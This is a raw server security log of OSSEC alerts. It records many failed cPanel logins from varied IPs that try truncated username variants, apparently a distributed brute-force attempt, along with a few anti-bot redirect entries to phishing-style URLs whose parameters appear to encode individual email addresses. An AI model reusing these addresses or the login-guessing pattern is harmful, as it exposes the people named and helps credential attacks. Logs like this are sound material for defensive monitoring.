185.106.31.203 - - [26/Jun/2026:04:32:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6840728&pdata=https%253A%252F%252Fwebmail.whereis.free.netmaster.tg%252F%253Flocale%253Dhe&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782448353 HTTP/2.0" 302 0 webmail.whereis.free.netmaster.tg "https://webmail.whereis.free.netmaster.tg/?locale=he" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.106.31.203


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.33.40.96
country_id: 3703430
description:
[2026-06-26 04:32:46 +0000] info [cpaneld] 190.33.40.96 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 81.56.150.26
country_id: 3175395
description:
[2026-06-26 04:32:48 +0000] info [cpaneld] 81.56.150.26 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 198.163.195.1
country_id: 1512440
description:
[2026-06-26 04:32:54 +0000] info [cpaneld] 198.163.195.1 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.22.60.239
country_id: 1605651
description:
[2026-06-26 04:32:27 +0000] info [cpaneld] 184.22.60.239 - togointerimnet "GET /login/?login_only=1&user=togointerimnet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointerimnet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.66.161.176
country_id: 2017370
description:
[2026-06-26 04:32:31 +0000] info [cpaneld] 178.66.161.176 - togointe "GET /login/?login_only=1&user=togointe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 62.248.104.155
country_id: 298795
description:
[2026-06-26 04:32:33 +0000] info [cpaneld] 62.248.104.155 - togoint "GET /login/?login_only=1&user=togoint&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoint (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 130.255.89.13
country_id: 99237
description:
[2026-06-26 04:33:19 +0000] info [cpaneld] 130.255.89.13 - ciieei "GET /login/?login_only=1&user=ciieei&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieei (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.242.3.38
country_id: 3996063
description:
[2026-06-26 04:33:24 +0000] info [cpaneld] 177.242.3.38 - ciie "GET /login/?login_only=1&user=ciie&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciie (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.245.216.157
country_id: 290557
description:
[2026-06-26 04:33:11 +0000] info [cpaneld] 37.245.216.157 - ciieeint "GET /login/?login_only=1&user=ciieeint&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeint (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.177.11.160
country_id: 290557
description:
[2026-06-26 04:33:29 +0000] info [cpaneld] 109.177.11.160 - ci "GET /login/?login_only=1&user=ci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.73.12.175
country_id: 3469034
description:
[2026-06-26 04:36:33 +0000] info [cpaneld] 177.73.12.175 - fundac "GET /login/?login_only=1&user=fundac&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundac (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 85.203.21.103
country_id: 1880251
description:
85.203.21.103 - - [26/Jun/2026:04:36:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12948890&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253DZmFyYWhAYWNvbGl0ZS5jb20ubXk%253D&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782448598 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=ZmFyYWhAYWNvbGl0ZS5jb20ubXk=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:85.203.21.103


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 81.220.54.191
country_id: 3017382
description:
[2026-06-26 04:36:40 +0000] info [cpaneld] 81.220.54.191 - fund "GET /login/?login_only=1&user=fund&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fund (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.72.86.71
country_id: 2017370
description:
[2026-06-26 04:36:46 +0000] info [cpaneld] 77.72.86.71 - fu "GET /login/?login_only=1&user=fu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.232.240.60
country_id: 3469034
description:
[2026-06-26 04:36:27 +0000] info [cpaneld] 181.232.240.60 - fundacio "GET /login/?login_only=1&user=fundacio&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacio (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.190.241.72
country_id: 298795
description:
[2026-06-26 04:36:43 +0000] info [cpaneld] 78.190.241.72 - fun "GET /login/?login_only=1&user=fun&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fun (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.99.240.231
country_id: 2589581
description:
[2026-06-26 04:36:18 +0000] info [cpaneld] 41.99.240.231 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.174.226.107
country_id: 3932488
description:
[2026-06-26 04:36:30 +0000] info [cpaneld] 181.174.226.107 - fundaci "GET /login/?login_only=1&user=fundaci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundaci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.44.196.54
country_id: 102358
description:
[2026-06-26 04:36:38 +0000] info [cpaneld] 176.44.196.54 - funda "GET /login/?login_only=1&user=funda&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user funda (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 85.203.21.103
country_id: 1880251
description:
85.203.21.103 - - [26/Jun/2026:04:37:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672556&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253DaGFzbGlsaUBzb3V0aGVybmJ1aWxkZXJzLmNvbS5teQ%253D%253D&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782448649 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=aGFzbGlsaUBzb3V0aGVybmJ1aWxkZXJzLmNvbS5teQ==" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:85.203.21.103


